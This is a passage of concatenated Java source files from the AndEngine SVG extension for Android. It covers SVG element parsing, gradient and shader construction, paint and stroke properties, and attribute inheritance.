private void parseSVG(final Attributes pAttributes) {
final int width = (int) Math.ceil(SAXHelper.getFloatAttribute(pAttributes, ATTRIBUTE_WIDTH, 0f));
final int height = (int) Math.ceil(SAXHelper.getFloatAttribute(pAttributes, ATTRIBUTE_HEIGHT, 0f));
this.mCanvas = this.mPicture.beginRecording(width, height);
}
private void parseBounds(final String pLocalName, final Attributes pAttributes) {
if (pLocalName.equals(TAG_RECTANGLE)) {
final float x = SAXHelper.getFloatAttribute(pAttributes, ATTRIBUTE_X, 0f);
final float y = SAXHelper.getFloatAttribute(pAttributes, ATTRIBUTE_Y, 0f);
final float width = SAXHelper.getFloatAttribute(pAttributes, ATTRIBUTE_WIDTH, 0f);
final float height = SAXHelper.getFloatAttribute(pAttributes, ATTRIBUTE_HEIGHT, 0f);
this.mBounds = new RectF(x, y, x + width, y + height);
}
}
private void parseFilter(final Attributes pAttributes) {
this.mCurrentSVGFilter = this.mSVGPaint.parseFilter(pAttributes);
}
private void parseFilterElementGaussianBlur(final Attributes pAttributes) {
final ISVGFilterElement svgFilterElement = this.mSVGPaint.parseFilterElementGaussianBlur(pAttributes);
this.mCurrentSVGFilter.addFilterElement(svgFilterElement);
}
private void parseLinearGradient(final Attributes pAttributes) {
this.mCurrentSVGGradient = this.mSVGPaint.parseGradient(pAttributes, true);
}
private void parseRadialGradient(final Attributes pAttributes) {
this.mCurrentSVGGradient = this.mSVGPaint.parseGradient(pAttributes, false);
}
private void parseGradientStop(final Attributes pAttributes) {
final SVGGradientStop svgGradientStop = this.mSVGPaint.parseGradientStop(this.getSVGPropertiesFromAttributes(pAttributes));
this.mCurrentSVGGradient.addSVGGradientStop(svgGradientStop);
}
private void parseGroup(final Attributes pAttributes) {
/* Check to see if this is the "bounds" layer. */
if ("bounds".equals(SAXHelper.getStringAttribute(pAttributes, ATTRIBUTE_ID))) {
this.mBoundsMode = true;
}
final SVGGroup parentSVGGroup = (this.mSVGGroupStack.size() > 0) ? this.mSVGGroupStack.peek() : null;
final boolean hasTransform = this.pushTransform(pAttributes);
this.mSVGGroupStack.push(new SVGGroup(parentSVGGroup, this.getSVGPropertiesFromAttributes(pAttributes, true), hasTransform));
this.updateHidden();
}
private void parseGroupEnd() {
if (this.mBoundsMode) {
this.mBoundsMode = false;
}
/* Pop group transform if there was one pushed. */
if(this.mSVGGroupStack.pop().hasTransform()) {
this.popTransform();
}
this.updateHidden();
}
private void updateHidden() {
if(this.mSVGGroupStack.size() == 0) {
this.mHidden = false;
} else {
this.mSVGGroupStack.peek().isHidden();
}
}
private void parsePath(final Attributes pAttributes) {
final SVGProperties svgProperties = this.getSVGPropertiesFromAttributes(pAttributes);
final boolean pushed = this.pushTransform(pAttributes);
this.mSVGPathParser.parse(svgProperties, this.mCanvas, this.mSVGPaint);
if(pushed) {
this.popTransform();
}
}
private void parsePolygon(final Attributes pAttributes) {
final SVGProperties svgProperties = this.getSVGPropertiesFromAttributes(pAttributes);
final boolean pushed = this.pushTransform(pAttributes);
SVGPolygonParser.parse(svgProperties, this.mCanvas, this.mSVGPaint);
if(pushed) {
this.popTransform();
}
}
private void parsePolyline(final Attributes pAttributes) {
final SVGProperties svgProperties = this.getSVGPropertiesFromAttributes(pAttributes);
final boolean pushed = this.pushTransform(pAttributes);
SVGPolylineParser.parse(svgProperties, this.mCanvas, this.mSVGPaint);
if(pushed) {
this.popTransform();
}
}
private void parseEllipse(final Attributes pAttributes) {
final SVGProperties svgProperties = this.getSVGPropertiesFromAttributes(pAttributes);
final boolean pushed = this.pushTransform(pAttributes);
SVGEllipseParser.parse(svgProperties, this.mCanvas, this.mSVGPaint, this.mRect);
if(pushed) {
this.popTransform();
}
}
private void parseCircle(final Attributes pAttributes) {
final SVGProperties svgProperties = this.getSVGPropertiesFromAttributes(pAttributes);
final boolean pushed = this.pushTransform(pAttributes);
SVGCircleParser.parse(svgProperties, this.mCanvas, this.mSVGPaint);
if(pushed) {
this.popTransform();
}
}
private void parseLine(final Attributes pAttributes) {
final SVGProperties svgProperties = this.getSVGPropertiesFromAttributes(pAttributes);
final boolean pushed = this.pushTransform(pAttributes);
SVGLineParser.parse(svgProperties, this.mCanvas, this.mSVGPaint);
if(pushed) {
this.popTransform();
}
}
private void parseRect(final Attributes pAttributes) {
final SVGProperties svgProperties = this.getSVGPropertiesFromAttributes(pAttributes);
final boolean pushed = this.pushTransform(pAttributes);
SVGRectParser.parse(svgProperties, this.mCanvas, this.mSVGPaint, this.mRect);
if(pushed) {
this.popTransform();
}
}
private SVGProperties getSVGPropertiesFromAttributes(final Attributes pAttributes) {
return this.getSVGPropertiesFromAttributes(pAttributes, false);
}
private SVGProperties getSVGPropertiesFromAttributes(final Attributes pAttributes, final boolean pDeepCopy) {
if(this.mSVGGroupStack.size() > 0) {
return new SVGProperties(this.mSVGGroupStack.peek().getSVGProperties(), pAttributes, pDeepCopy);
} else {
return new SVGProperties(null, pAttributes, pDeepCopy);
}
}
private boolean pushTransform(final Attributes pAttributes) {
final String transform = SAXHelper.getStringAttribute(pAttributes, ATTRIBUTE_TRANSFORM);
if(transform == null) {
return false;
} else {
final Matrix matrix = SVGTransformParser.parseTransform(transform);
this.mCanvas.save();
this.mCanvas.concat(matrix);
return true;
}
}
private void popTransform() {
this.mCanvas.restore();
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
} | Java |
package org.anddev.andengine.extension.svg.adt;
import java.util.ArrayList;
import java.util.HashMap;
import org.anddev.andengine.extension.svg.exception.SVGParseException;
import org.anddev.andengine.extension.svg.util.SVGParserUtils;
import org.anddev.andengine.extension.svg.util.SVGTransformParser;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import org.xml.sax.Attributes;
import android.graphics.LinearGradient;
import android.graphics.Matrix;
import android.graphics.RadialGradient;
import android.graphics.Shader;
import android.graphics.Shader.TileMode;
/**
* @author Larva Labs, LLC
* @author Nicolas Gramlich
* @since 16:50:09 - 21.05.2011
*/
public class SVGGradient implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final String mID;
private final String mHref;
private SVGGradient mParent;
private Shader mShader;
private final SVGAttributes mSVGAttributes;
private final boolean mLinear;
private Matrix mMatrix;
private ArrayList<SVGGradientStop> mSVGGradientStops;
private float[] mSVGGradientStopsPositions;
private int[] mSVGGradientStopsColors;
private boolean mSVGGradientStopsBuilt;
// ===========================================================
// Constructors
// ===========================================================
public SVGGradient(final String pID, final boolean pLinear, final Attributes pAttributes) {
this.mID = pID;
this.mHref = SVGParserUtils.parseHref(pAttributes);
this.mLinear = pLinear;
this.mSVGAttributes = new SVGAttributes(pAttributes, true);
}
// ===========================================================
// Getter & Setter
// ===========================================================
public boolean hasHref() {
return this.mHref != null;
}
public String getHref() {
return this.mHref;
}
public String getID() {
return this.mID;
}
public boolean hasHrefResolved() {
return this.mHref == null || this.mParent != null;
}
public Shader getShader() {
return this.mShader;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public Shader createShader() {
if(this.mShader != null) {
return this.mShader;
}
if(!this.mSVGGradientStopsBuilt) {
this.buildSVGGradientStopsArrays();
}
final TileMode tileMode = this.getTileMode();
if(this.mLinear) {
final float x1 =this.mSVGAttributes.getFloatAttribute(ATTRIBUTE_X1, true, 0f);
final float x2 = this.mSVGAttributes.getFloatAttribute(ATTRIBUTE_X2, true, 0f);
final float y1 = this.mSVGAttributes.getFloatAttribute(ATTRIBUTE_Y1, true, 0f);
final float y2 = this.mSVGAttributes.getFloatAttribute(ATTRIBUTE_Y2, true, 0f);
this.mShader = new LinearGradient(x1, y1, x2, y2, this.mSVGGradientStopsColors, this.mSVGGradientStopsPositions, tileMode);
} else {
final float centerX = this.mSVGAttributes.getFloatAttribute(ATTRIBUTE_CENTER_X, true, 0f);
final float centerY = this.mSVGAttributes.getFloatAttribute(ATTRIBUTE_CENTER_Y, true, 0f);
final float radius = this.mSVGAttributes.getFloatAttribute(ATTRIBUTE_RADIUS, true, 0f);
this.mShader = new RadialGradient(centerX, centerY, radius, this.mSVGGradientStopsColors, this.mSVGGradientStopsPositions, tileMode);
}
this.mMatrix = this.getTransform();
if (this.mMatrix != null) {
this.mShader.setLocalMatrix(this.mMatrix);
}
return this.mShader;
}
private TileMode getTileMode() {
final String spreadMethod = this.mSVGAttributes.getStringAttribute(ATTRIBUTE_SPREADMETHOD, true);
if(spreadMethod == null || ATTRIBUTE_SPREADMETHOD_VALUE_PAD.equals(spreadMethod)) {
return TileMode.CLAMP;
} else if(ATTRIBUTE_SPREADMETHOD_VALUE_REFLECT.equals(spreadMethod)) {
return TileMode.MIRROR;
} else if(ATTRIBUTE_SPREADMETHOD_VALUE_REPEAT.equals(spreadMethod)) {
return TileMode.REPEAT;
} else {
throw new SVGParseException("Unexpected spreadmethod: '" + spreadMethod + "'.");
}
}
private Matrix getTransform() {
if(this.mMatrix != null) {
return this.mMatrix;
} else {
final String transfromString = this.mSVGAttributes.getStringAttribute(ATTRIBUTE_GRADIENT_TRANSFORM, false);
if(transfromString != null) {
this.mMatrix = SVGTransformParser.parseTransform(transfromString);
return this.mMatrix;
} else {
if(this.mParent != null) {
return this.mParent.getTransform();
} else {
return null;
}
}
}
}
public void ensureHrefResolved(final HashMap<String, SVGGradient> pSVGGradientMap) {
if(!this.hasHrefResolved()) {
this.resolveHref(pSVGGradientMap);
}
}
private void resolveHref(final HashMap<String, SVGGradient> pSVGGradientMap) {
final SVGGradient parent = pSVGGradientMap.get(this.mHref);
if(parent == null) {
throw new SVGParseException("Could not resolve href: '" + this.mHref + "' of SVGGradient: '" + this.mID + "'.");
} else {
parent.ensureHrefResolved(pSVGGradientMap);
this.mParent = parent;
this.mSVGAttributes.setParentSVGAttributes(this.mParent.mSVGAttributes);
if(this.mSVGGradientStops == null) {
this.mSVGGradientStops = this.mParent.mSVGGradientStops;
this.mSVGGradientStopsColors = this.mParent.mSVGGradientStopsColors;
this.mSVGGradientStopsPositions = this.mParent.mSVGGradientStopsPositions;
}
}
}
private void buildSVGGradientStopsArrays() {
this.mSVGGradientStopsBuilt = true;
final ArrayList<SVGGradientStop> svgGradientStops = this.mSVGGradientStops;
final int svgGradientStopCount = svgGradientStops.size();
this.mSVGGradientStopsColors = new int[svgGradientStopCount];
this.mSVGGradientStopsPositions = new float[svgGradientStopCount];
for (int i = 0; i < svgGradientStopCount; i++) {
final SVGGradientStop svgGradientStop = svgGradientStops.get(i);
this.mSVGGradientStopsColors[i] = svgGradientStop.mColor;
this.mSVGGradientStopsPositions[i] = svgGradientStop.mOffset;
}
}
public void addSVGGradientStop(final SVGGradientStop pSVGGradientStop) {
if(this.mSVGGradientStops == null) {
this.mSVGGradientStops = new ArrayList<SVGGradient.SVGGradientStop>();
}
this.mSVGGradientStops.add(pSVGGradientStop);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
public static class SVGGradientStop {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final float mOffset;
private final int mColor;
// ===========================================================
// Constructors
// ===========================================================
public SVGGradientStop(final float pOffset, final int pColor) {
this.mOffset = pOffset;
this.mColor = pColor;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
} | Java |
package org.anddev.andengine.extension.svg.adt;
import android.graphics.Picture;
import android.graphics.RectF;
/**
* @author Larva Labs, LLC
* @author Nicolas Gramlich
* @since 17:01:21 - 21.05.2011
*/
public class SVG {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final Picture mPicture;
/** These are the bounds for the SVG specified as a hidden "bounds" layer in the SVG. */
private final RectF mBounds;
/** These are the estimated bounds of the SVG computed from the SVG elements while parsing.
* Note that this could be null if there was a failure to compute limits (i.e. an empty SVG). */
private final RectF mComputedBounds;
// ===========================================================
// Constructors
// ===========================================================
/**
* @param pPicture the parsed picture object.
* @param pBounds the bounds computed from the "bounds" layer in the SVG.
* @param pComputedBounds
*/
public SVG(final Picture pPicture, final RectF pBounds, final RectF pComputedBounds) {
this.mPicture = pPicture;
this.mBounds = pBounds;
this.mComputedBounds = pComputedBounds;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public Picture getPicture() {
return this.mPicture;
}
/**
* Gets the bounding rectangle for the SVG, specified as a hidden "bounds" layer, if one was specified.
* @return rectangle representing the bounds.
*/
public RectF getBounds() {
return this.mBounds;
}
/**
* Gets the computed bounding rectangle for the SVG that was computed upon parsing.
* It may not be entirely accurate for certain curves or transformations, but is often better than nothing.
* @return rectangle representing the computed bounds.
*/
public RectF getComputedBounds() {
return this.mComputedBounds;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.adt;
import org.anddev.andengine.extension.svg.util.SAXHelper;
import org.anddev.andengine.extension.svg.util.SVGParserUtils;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import org.xml.sax.Attributes;
import org.xml.sax.helpers.AttributesImpl;
/**
* @author Larva Labs, LLC
* @author Nicolas Gramlich
* @since 16:49:55 - 21.05.2011
*/
public class SVGProperties implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final SVGStyleSet mSVGStyleSet;
private final Attributes mAttributes;
private final SVGProperties mParentSVGProperties;
// ===========================================================
// Constructors
// ===========================================================#
public SVGProperties(final SVGProperties pParentSVGProperties, final Attributes pAttributes, final boolean pAttributesDeepCopy) {
this.mAttributes = (pAttributesDeepCopy) ? new AttributesImpl(pAttributes) : pAttributes;
this.mParentSVGProperties = pParentSVGProperties;
final String styleAttr = SAXHelper.getStringAttribute(pAttributes, ATTRIBUTE_STYLE);
if (styleAttr != null) {
this.mSVGStyleSet = new SVGStyleSet(styleAttr);
} else {
this.mSVGStyleSet = null;
}
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public String getStringProperty(final String pPropertyName, final String pDefaultValue) {
final String s = this.getStringProperty(pPropertyName);
if (s == null) {
return pDefaultValue;
} else {
return s;
}
}
public String getStringProperty(final String pPropertyName) { // TODO Remove this method and make all others take 'pAllowParentSVGProperties' too.
return this.getStringProperty(pPropertyName, true);
}
public String getStringProperty(final String pPropertyName, final boolean pAllowParentSVGProperties) {
String s = null;
if (this.mSVGStyleSet != null) {
s = this.mSVGStyleSet.getStyle(pPropertyName);
}
if (s == null) {
s = SAXHelper.getStringAttribute(this.mAttributes, pPropertyName);
}
if(s == null && pAllowParentSVGProperties) {
if(this.mParentSVGProperties == null) {
return null;
} else {
return this.mParentSVGProperties.getStringProperty(pPropertyName);
}
} else {
return s;
}
}
public Float getFloatProperty(final String pPropertyName) {
return SVGParserUtils.extractFloatAttribute(this.getStringProperty(pPropertyName));
}
public Float getFloatProperty(final String pPropertyName, final float pDefaultValue) {
final Float f = this.getFloatProperty(pPropertyName);
if (f == null) {
return pDefaultValue;
} else {
return f;
}
}
public String getStringAttribute(final String pAttributeName) {
return SAXHelper.getStringAttribute(this.mAttributes, pAttributeName);
}
public String getStringAttribute(final String pAttributeName, final String pDefaultValue) {
return SAXHelper.getStringAttribute(this.mAttributes, pAttributeName, pDefaultValue);
}
public Float getFloatAttribute(final String pAttributeName) {
return SAXHelper.getFloatAttribute(this.mAttributes, pAttributeName);
}
public float getFloatAttribute(final String pAttributeName, final float pDefaultValue) {
return SAXHelper.getFloatAttribute(this.mAttributes, pAttributeName, pDefaultValue);
}
// ===========================================================
// Property-Testing-Methods
// ===========================================================
public static boolean isURLProperty(final String pProperty) {
return pProperty.startsWith("url(#");
}
public static boolean isRGBProperty(final String pProperty) {
return pProperty.startsWith("rgb(");
}
public static boolean isHexProperty(final String pProperty) {
return pProperty.startsWith("#");
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
} | Java |
package org.anddev.andengine.extension.svg.adt;
import java.util.HashMap;
import org.anddev.andengine.extension.svg.adt.SVGGradient.SVGGradientStop;
import org.anddev.andengine.extension.svg.adt.filter.SVGFilter;
import org.anddev.andengine.extension.svg.adt.filter.element.SVGFilterElementGaussianBlur;
import org.anddev.andengine.extension.svg.exception.SVGParseException;
import org.anddev.andengine.extension.svg.util.SAXHelper;
import org.anddev.andengine.extension.svg.util.SVGParserUtils;
import org.anddev.andengine.extension.svg.util.constants.ColorUtils;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import org.xml.sax.Attributes;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Paint.Style;
import android.graphics.Path;
import android.graphics.RectF;
import android.graphics.Shader;
/**
* @author Nicolas Gramlich
* @since 22:01:39 - 23.05.2011
*/
public class SVGPaint implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final Paint mPaint = new Paint();
private final ISVGColorMapper mSVGColorMapper;
/** Multi purpose dummy rectangle. */
private final RectF mRect = new RectF();
private final RectF mComputedBounds = new RectF(Float.POSITIVE_INFINITY, Float.POSITIVE_INFINITY, Float.NEGATIVE_INFINITY, Float.NEGATIVE_INFINITY);
private final HashMap<String, SVGGradient> mSVGGradientMap = new HashMap<String, SVGGradient>();
private final HashMap<String, SVGFilter> mSVGFilterMap = new HashMap<String, SVGFilter>();
// ===========================================================
// Constructors
// ===========================================================
public SVGPaint(final ISVGColorMapper pSVGColorMapper) {
this.mSVGColorMapper = pSVGColorMapper;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public Paint getPaint() {
return this.mPaint;
}
public RectF getComputedBounds() {
return this.mComputedBounds;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void resetPaint(final Style pStyle) {
this.mPaint.reset();
this.mPaint.setAntiAlias(true); // TODO AntiAliasing could be made optional through some SVGOptions object.
this.mPaint.setStyle(pStyle);
}
/**
* TODO Would it be better/cleaner to throw a SVGParseException when sth could not be parsed instead of simply returning false?
*/
public boolean setFill(final SVGProperties pSVGProperties) {
if(this.isDisplayNone(pSVGProperties) || this.isFillNone(pSVGProperties)) {
return false;
}
this.resetPaint(Paint.Style.FILL);
final String fillProperty = pSVGProperties.getStringProperty(ATTRIBUTE_FILL);
if(fillProperty == null) {
if(pSVGProperties.getStringProperty(ATTRIBUTE_STROKE) == null) {
/* Default is black fill. */
this.mPaint.setColor(0xFF000000); // TODO Respect color mapping?
return true;
} else {
return false;
}
} else {
return this.applyPaintProperties(pSVGProperties, true);
}
}
public boolean setStroke(final SVGProperties pSVGProperties) {
if(this.isDisplayNone(pSVGProperties) || this.isStrokeNone(pSVGProperties)) {
return false;
}
this.resetPaint(Paint.Style.STROKE);
return this.applyPaintProperties(pSVGProperties, false);
}
private boolean isDisplayNone(final SVGProperties pSVGProperties) {
return VALUE_NONE.equals(pSVGProperties.getStringProperty(ATTRIBUTE_DISPLAY));
}
private boolean isFillNone(final SVGProperties pSVGProperties) {
return VALUE_NONE.equals(pSVGProperties.getStringProperty(ATTRIBUTE_FILL));
}
private boolean isStrokeNone(final SVGProperties pSVGProperties) {
return VALUE_NONE.equals(pSVGProperties.getStringProperty(ATTRIBUTE_STROKE));
}
public boolean applyPaintProperties(final SVGProperties pSVGProperties, final boolean pModeFill) {
if(this.setColorProperties(pSVGProperties, pModeFill)) {
if(pModeFill) {
return this.applyFillProperties(pSVGProperties);
} else {
return this.applyStrokeProperties(pSVGProperties);
}
} else {
return false;
}
}
private boolean setColorProperties(final SVGProperties pSVGProperties, final boolean pModeFill) { // TODO throw SVGParseException
final String colorProperty = pSVGProperties.getStringProperty(pModeFill ? ATTRIBUTE_FILL : ATTRIBUTE_STROKE);
if(colorProperty == null) {
return false;
}
final String filterProperty = pSVGProperties.getStringProperty(ATTRIBUTE_FILTER);
if(filterProperty != null) {
if(SVGProperties.isURLProperty(filterProperty)) {
final String filterID = SVGParserUtils.extractIDFromURLProperty(filterProperty);
this.getFilter(filterID).applyFilterElements(this.mPaint);
} else {
return false;
}
}
if(SVGProperties.isURLProperty(colorProperty)) {
final String gradientID = SVGParserUtils.extractIDFromURLProperty(colorProperty);
this.mPaint.setShader(this.getGradientShader(gradientID));
return true;
} else {
final Integer color = this.parseColor(colorProperty);
if(color != null) {
this.applyColor(pSVGProperties, color, pModeFill);
return true;
} else {
return false;
}
}
}
private boolean applyFillProperties(final SVGProperties pSVGProperties) {
return true;
}
private boolean applyStrokeProperties(final SVGProperties pSVGProperties) {
final Float width = pSVGProperties.getFloatProperty(ATTRIBUTE_STROKE_WIDTH);
if (width != null) {
this.mPaint.setStrokeWidth(width);
}
final String linecap = pSVGProperties.getStringProperty(ATTRIBUTE_STROKE_LINECAP);
if (ATTRIBUTE_STROKE_LINECAP_VALUE_ROUND.equals(linecap)) {
this.mPaint.setStrokeCap(Paint.Cap.ROUND);
} else if (ATTRIBUTE_STROKE_LINECAP_VALUE_SQUARE.equals(linecap)) {
this.mPaint.setStrokeCap(Paint.Cap.SQUARE);
} else if (ATTRIBUTE_STROKE_LINECAP_VALUE_BUTT.equals(linecap)) {
this.mPaint.setStrokeCap(Paint.Cap.BUTT);
}
final String linejoin = pSVGProperties.getStringProperty(ATTRIBUTE_STROKE_LINEJOIN_VALUE_);
if (ATTRIBUTE_STROKE_LINEJOIN_VALUE_MITER.equals(linejoin)) {
this.mPaint.setStrokeJoin(Paint.Join.MITER);
} else if (ATTRIBUTE_STROKE_LINEJOIN_VALUE_ROUND.equals(linejoin)) {
this.mPaint.setStrokeJoin(Paint.Join.ROUND);
} else if (ATTRIBUTE_STROKE_LINEJOIN_VALUE_BEVEL.equals(linejoin)) {
this.mPaint.setStrokeJoin(Paint.Join.BEVEL);
}
return true;
}
private void applyColor(final SVGProperties pSVGProperties, final Integer pColor, final boolean pModeFill) {
final int c = (ColorUtils.COLOR_MASK_32BIT_ARGB_RGB & pColor) | ColorUtils.COLOR_MASK_32BIT_ARGB_ALPHA;
this.mPaint.setColor(c);
this.mPaint.setAlpha(SVGPaint.parseAlpha(pSVGProperties, pModeFill));
}
private static int parseAlpha(final SVGProperties pSVGProperties, final boolean pModeFill) {
Float opacity = pSVGProperties.getFloatProperty(ATTRIBUTE_OPACITY);
if(opacity == null) {
opacity = pSVGProperties.getFloatProperty(pModeFill ? ATTRIBUTE_FILL_OPACITY : ATTRIBUTE_STROKE_OPACITY);
}
if(opacity == null) {
return 255;
} else {
return (int) (255 * opacity);
}
}
public void ensureComputedBoundsInclude(final float pX, final float pY) {
if (pX < this.mComputedBounds.left) {
this.mComputedBounds.left = pX;
}
if (pX > this.mComputedBounds.right) {
this.mComputedBounds.right = pX;
}
if (pY < this.mComputedBounds.top) {
this.mComputedBounds.top = pY;
}
if (pY > this.mComputedBounds.bottom) {
this.mComputedBounds.bottom = pY;
}
}
public void ensureComputedBoundsInclude(final float pX, final float pY, final float pWidth, final float pHeight) {
this.ensureComputedBoundsInclude(pX, pY);
this.ensureComputedBoundsInclude(pX + pWidth, pY + pHeight);
}
public void ensureComputedBoundsInclude(final Path pPath) {
pPath.computeBounds(this.mRect, false);
this.ensureComputedBoundsInclude(this.mRect.left, this.mRect.top);
this.ensureComputedBoundsInclude(this.mRect.right, this.mRect.bottom);
}
// ===========================================================
// Methods for Colors
// ===========================================================
private Integer parseColor(final String pString, final Integer pDefault) {
final Integer color = this.parseColor(pString);
if(color == null) {
return this.applySVGColorMapper(pDefault);
} else {
return color;
}
}
private Integer parseColor(final String pString) {
/* TODO Test if explicit pattern matching is faster:
*
* RGB: /^rgb\((\d{1,3}),\s*(\d{1,3}),\s*(\d{1,3})\)$/
* #RRGGBB: /^(\w{2})(\w{2})(\w{2})$/
* #RGB: /^(\w{1})(\w{1})(\w{1})$/
*/
final Integer parsedColor;
if(pString == null) {
parsedColor = null;
} else if(SVGProperties.isHexProperty(pString)) {
parsedColor = SVGParserUtils.extractColorFromHexProperty(pString);
} else if(SVGProperties.isRGBProperty(pString)) {
parsedColor = SVGParserUtils.extractColorFromRGBProperty(pString);
} else {
final Integer colorByName = ColorUtils.getColorByName(pString.trim());
if(colorByName != null) {
parsedColor = colorByName;
} else {
parsedColor = SVGParserUtils.extraColorIntegerProperty(pString);
}
}
return this.applySVGColorMapper(parsedColor);
}
private Integer applySVGColorMapper(final Integer pColor) {
if(this.mSVGColorMapper == null) {
return pColor;
} else {
return this.mSVGColorMapper.mapColor(pColor);
}
}
// ===========================================================
// Methods for Gradients
// ===========================================================
public SVGFilter parseFilter(final Attributes pAttributes) {
final String id = SAXHelper.getStringAttribute(pAttributes, ATTRIBUTE_ID);
if(id == null) {
return null;
}
final SVGFilter svgFilter = new SVGFilter(id, pAttributes);
this.mSVGFilterMap.put(id, svgFilter);
return svgFilter;
}
public SVGGradient parseGradient(final Attributes pAttributes, final boolean pLinear) {
final String id = SAXHelper.getStringAttribute(pAttributes, ATTRIBUTE_ID);
if(id == null) {
return null;
}
final SVGGradient svgGradient = new SVGGradient(id, pLinear, pAttributes);
this.mSVGGradientMap.put(id, svgGradient);
return svgGradient;
}
public SVGGradientStop parseGradientStop(final SVGProperties pSVGProperties) {
final float offset = pSVGProperties.getFloatProperty(ATTRIBUTE_OFFSET, 0f);
final String stopColor = pSVGProperties.getStringProperty(ATTRIBUTE_STOP_COLOR);
final int rgb = this.parseColor(stopColor.trim(), Color.BLACK);
final int alpha = this.parseGradientStopAlpha(pSVGProperties);
return new SVGGradientStop(offset, alpha | rgb);
}
private int parseGradientStopAlpha(final SVGProperties pSVGProperties) {
final String opacityStyle = pSVGProperties.getStringProperty(ATTRIBUTE_STOP_OPACITY);
if(opacityStyle != null) {
final float alpha = Float.parseFloat(opacityStyle);
final int alphaInt = Math.round(255 * alpha);
return (alphaInt << 24);
} else {
return ColorUtils.COLOR_MASK_32BIT_ARGB_ALPHA;
}
}
private Shader getGradientShader(final String pGradientShaderID) {
final SVGGradient svgGradient = this.mSVGGradientMap.get(pGradientShaderID);
if(svgGradient == null) {
throw new SVGParseException("No SVGGradient found for id: '" + pGradientShaderID + "'.");
} else {
final Shader gradientShader = svgGradient.getShader();
if(gradientShader != null) {
return gradientShader;
} else {
svgGradient.ensureHrefResolved(this.mSVGGradientMap);
return svgGradient.createShader();
}
}
}
// ===========================================================
// Methods for Filters
// ===========================================================
private SVGFilter getFilter(final String pSVGFilterID) {
final SVGFilter svgFilter = this.mSVGFilterMap.get(pSVGFilterID);
if(svgFilter == null) {
return null; // TODO Better a SVGParseException here?
} else {
svgFilter.ensureHrefResolved(this.mSVGFilterMap);
return svgFilter;
}
}
public SVGFilterElementGaussianBlur parseFilterElementGaussianBlur(final Attributes pAttributes) {
final float standardDeviation = SAXHelper.getFloatAttribute(pAttributes, ATTRIBUTE_FILTER_ELEMENT_FEGAUSSIANBLUR_STANDARDDEVIATION);
return new SVGFilterElementGaussianBlur(standardDeviation);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.adt;
import org.anddev.andengine.extension.svg.util.SAXHelper;
import org.anddev.andengine.extension.svg.util.SVGParserUtils;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import org.xml.sax.Attributes;
import org.xml.sax.helpers.AttributesImpl;
/**
* @author Larva Labs, LLC
* @author Nicolas Gramlich
* @since 16:49:55 - 21.05.2011
*/
public class SVGAttributes implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final Attributes mAttributes;
private SVGAttributes mParentSVGAttributes;
// ===========================================================
// Constructors
// ===========================================================
public SVGAttributes(final Attributes pAttributes, final boolean pAttributesDeepCopy) {
this.mAttributes = (pAttributesDeepCopy) ? new AttributesImpl(pAttributes) : pAttributes;
}
public SVGAttributes(final SVGAttributes pParentSVGAttributes, final Attributes pAttributes, final boolean pAttributesDeepCopy) {
this.mAttributes = (pAttributesDeepCopy) ? new AttributesImpl(pAttributes) : pAttributes;
this.mParentSVGAttributes = pParentSVGAttributes;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public void setParentSVGAttributes(final SVGAttributes pParentSVGAttributes) {
this.mParentSVGAttributes = pParentSVGAttributes;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public String getStringAttribute(final String pAttributeName, final boolean pAllowParentSVGAttributes, final String pDefaultValue) {
final String s = this.getStringAttribute(pAttributeName, pAllowParentSVGAttributes);
if (s == null) {
return pDefaultValue;
} else {
return s;
}
}
public String getStringAttribute(final String pAttributeName, final boolean pAllowParentSVGAttributes) {
final String s = SAXHelper.getStringAttribute(this.mAttributes, pAttributeName);
if(s == null && pAllowParentSVGAttributes) {
if(this.mParentSVGAttributes == null) {
return null;
} else {
return this.mParentSVGAttributes.getStringAttribute(pAttributeName, pAllowParentSVGAttributes);
}
} else {
return s;
}
}
public Float getFloatAttribute(final String pAttributeName, final boolean pAllowParentSVGAttributes) {
return SVGParserUtils.extractFloatAttribute(this.getStringAttribute(pAttributeName, pAllowParentSVGAttributes));
}
public Float getFloatAttribute(final String pAttributeName, final boolean pAllowParentSVGAttributes, final float pDefaultValue) {
final Float f = this.getFloatAttribute(pAttributeName, pAllowParentSVGAttributes);
if (f == null) {
return pDefaultValue;
} else {
return f;
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
} | Java |
package org.anddev.andengine.extension.svg.adt;
import java.util.HashMap;
/**
